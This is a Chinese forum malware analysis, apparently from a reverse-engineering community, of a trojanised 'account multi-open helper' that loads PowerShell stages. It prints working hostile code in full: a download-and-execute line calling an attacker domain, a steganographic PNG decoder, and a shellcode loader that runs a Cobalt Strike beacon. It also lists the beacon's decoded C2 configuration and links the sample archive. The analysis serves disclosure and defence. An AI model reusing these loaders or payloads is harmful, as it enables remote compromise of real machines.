今天凌晨小黑继续作恶,这次换个一个软件“账号多开助手V2.0_a”,替换bin\up.dll(MD5: CBBF79F1DB95FFD2FD0A891052178C40)来加载木马webup.ps1,更新木马信息:
webup.ps1
[PowerShell] 纯文本查看 复制代码 Start-Sleep -Seconds 1800
IEX(New-Object Net.WebClient).DownloadString('http://upc40a.svchostdata.pw/down/upc40asvchostdatapw/dataup.ps1')
dataup.ps1
[PowerShell] 纯文本查看 复制代码 sal a New-Object;Add-Type -A System.Drawing;$g=a System.Drawing.Bitmap((a Net.WebClient).OpenRead("http://upc40a.svchostdata.pw/down/upc40asvchostdatapw/202010a/com202010a.png"));$o=a Byte[] 3740;(0..16)|%{foreach($x in(0..219)){$p=$g.GetPixel($x,$_);$o[$_*220+$x]=([math]::Floor(($p.B-band15)*16)-bor($p.G -band 15))}};IEX([System.Text.Encoding]::ASCII.GetString($o[0..3546]))
用Invoke-PSImage隐写图片里,解密:
[PowerShell] 纯文本查看 复制代码 function func_get_proc_address {
Param ($var_module, $var_procedure)
$var_unsafe_native_methods = ([AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }).GetType('Microsoft.Win32.UnsafeNativeMethods')
$var_gpa = $var_unsafe_native_methods.GetMethod('GetProcAddress', [Type[]] @('System.Runtime.InteropServices.HandleRef', 'string'))
return $var_gpa.Invoke($null, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((New-Object IntPtr), ($var_unsafe_native_methods.GetMethod('GetModuleHandle')).Invoke($null, @($var_module)))), $var_procedure))
}
function func_get_delegate_type {
Param (
[Parameter(Position = 0, Mandatory = $True)] [Type[]] $var_parameters,
[Parameter(Position = 1)] [Type] $var_return_type = [Void]
)
$var_type_builder = [AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object System.Reflection.AssemblyName('ReflectedDelegate')), [System.Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule('InMemoryModule', $false).DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
$var_type_builder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $var_parameters).SetImplementationFlags('Runtime, Managed')
$var_type_builder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $var_return_type, $var_parameters).SetImplementationFlags('Runtime, Managed')
return $var_type_builder.CreateType()
}
[Byte[]]$var_code = [System.Convert]::FromBase64String('38uqIyMjQ6rGEvFHqHETqHEvqHE3qFELLJRpBRLcEuOPH0JfIQ8D4uwuIuTB03F0qHEzqGEfIvOoY1um41dpIvNzqGs7qHsDIvDAH2qoF6gi9RLcEuOP4uwuIuQbw1bXIF7bGF4HVsF7qHsHIvBFqC9oqHs/IvCoJ6gi86pnBwd4eEJ6eXLcw3t8eagxyKV+S01GVyNLVEpNSndLb1QFJNz2Etx0dHR0dEsZdVqE3PbKpyMjI3gS6nJySSBycktSMiMjcHNLdKq85dz2yFN4EvFxSyMhY6dxcXFwcXNLyHYNGNz2quWg4HMS3HR0SdxwdUsOJTtY3Pam4yyn4CIjIxLcptVXJ6rayCpLiebBftz2quJLZgJ9Etz2Etx0SSRydXNLlHTDKNz2nCMMIyMa5FeUEtzKsiIjI8rqIiMjy6jc3NwMchpGTiPH8FZ/3nsZKQBQZo6R+O7Pqu6cfl+yux3Me+ZY+EU2/C8hFSEa7KiOL8138Wxr1YUiDi+6Hrvnaq2bosGns0KKxJHU+ESu/Y/sI3ZQRlEOYkRGTVcZA25MWUpPT0IMFg0TAwtATE5TQldKQU9GGANucGpmAxoNExgDdEpNR0xUUANtdwMVDRIYA3RKTRUXGANbFRcYA3dRSkdGTVcMFg0TGANuYmJ2GANtcxMbCi4pI5RtW9NCIfJIh5Tw2itR/i03kx8rSoWD0vJ7J0U1t6oOJz6hkh+KXZI6iZlBoze+vNv0BpA5GZeKvOpvJ8twoolo+HTxPaCK+RToZ+ZtDDqOHBlawoZd6jtqO4BadbP2vQ8j3XIcDft0mvJHLzxR/6kZzeLtubZS+WbWDoFxUtoI91fF/7mKq5qvSEYIqqLgIt/LTvBuYfXxLEb0hNE42JpH8xxshDR2VqEx7zWnmOqhYEcNbaumSykrmalXTOA5z9V7QOg4VgqbTyNL05aBddz2SWNLIzMjI0sjI2MjdEt7h3DG3PawmiMjIyMi+nJwqsR0SyMDIyNwdUsxtarB3Pam41flqCQi4KbjVsZ74MuK3tzcQFAXE0INTkpAUUxQTEVXVlNCDUBMTiMxF3Vb')
for ($x = 0; $x -lt $var_code.Count; $x++) {
$var_code[$x] = $var_code[$x] -bxor 35
}
$var_va = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((func_get_proc_address kernel32.dll VirtualAlloc), (func_get_delegate_type @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])))
$var_buffer = $var_va.Invoke([IntPtr]::Zero, $var_code.Length, 0x3000, 0x40)
[System.Runtime.InteropServices.Marshal]::Copy($var_code, 0, $var_buffer, $var_code.length)
$var_runme = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($var_buffer, (func_get_delegate_type @([IntPtr]) ([Void])))$var_runme.Invoke([IntPtr]::Zero)
Base64解出来shellcode去http://cs40a.microsoftupa.com:4465/Q9em请求Cobalt Strike的核心beacon.dll,把dll上传到解密网址:http://pokemon.work:8501 获得配置信息:
File 1f2ded693f9efed0c877a1e0055bfe44fc7167d60d0275611e41bd79c8ed1c3e receved !
BeaconType - HTTP
Port - 4465
SleepTime - 60000
MaxGetSize - 1048576
Jitter - 0
MaxDNS - 255
PublicKey - b'0\x81\x9f0\r\x06\t\x86H\x86\xf7\r\x01\x01\x01\x05\x00\x03\x81\x8d\x000\x81\x89\x02\x81\x81\x00\xa7\t\x91\xd6\x9d\x81j`\x1f\xfa\x80\x97ds\x83\x0f\r;A\'m\'\x90@\x1d\xde\xdb\x18\xe2\xd3\xca\xb3\xc3\x15\xe3"#%\xbeB\xb6Z\xdb(x\xf3?Z\x03\xffP\x10\xb2>\x84Q\x0c\x14\x82\xadjB\xf1\xe7\xe5rn\xb3\x18\x13\xe7Cv@\xedxy\x95_@\x1e\x17,4\xd3QrAYm\xd4\x1f\x8eH\xd3\xd1\xb1\xc2\x88\xe6\xc8u/\xf6]\xc2z\xcc\xcb\xa4\xba\x9c\xd6\xd0\xe4\xdea\x96\xce\xa4\xdaH\r;\x99\xd0\xed\x02\x03\x01\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
C2Server - cs40a.microsoftupa.com,/dot.gif
UserAgent - Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; MANM)
HttpPostUri - /submit.php
HttpGet_Metadata - Cookie
HttpPost_Metadata - Content-Type: application/octet-stream
id
SpawnTo - b'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'
PipeName -
DNS_Idle - 0.0.0.0
DNS_Sleep - 0
SSH_Host - Not Found
SSH_Port - Not Found
SSH_Username - Not Found
SSH_Password_Plaintext - Not Found
SSH_Password_Pubkey - Not Found
HttpGet_Verb - GET
HttpPost_Verb - POST
HttpPostChunk - 0
Spawnto_x86 - %windir%\syswow64\rundll32.exe
Spawnto_x64 - %windir%\sysnative\rundll32.exe
CryptoScheme - 0
Proxy_Config - Not Found
Proxy_User - Not Found
Proxy_Password - Not Found
Proxy_Behavior - Use IE settings
Watermark - 305419896
bStageCleanup - False
bCFGCaution - False
KillDate - 0
bProcInject_StartRWX - True
bProcInject_UseRWX - True
bProcInject_MinAllocSize - 0
ProcInject_PrependAppend_x86 - Empty
ProcInject_PrependAppend_x64 - Empty
ProcInject_Execute - CreateThread
SetThreadContext
CreateRemoteThread
RtlCreateUserThread
ProcInject_AllocationMethod - VirtualAllocEx
bUsesCookies - True
HostHeader -
Done!
C2:cs40a.microsoftupa.com (139.162.97.239)
beacon.7z
(87.91 KB, 下载次数: 124)
解压密码:52pojie |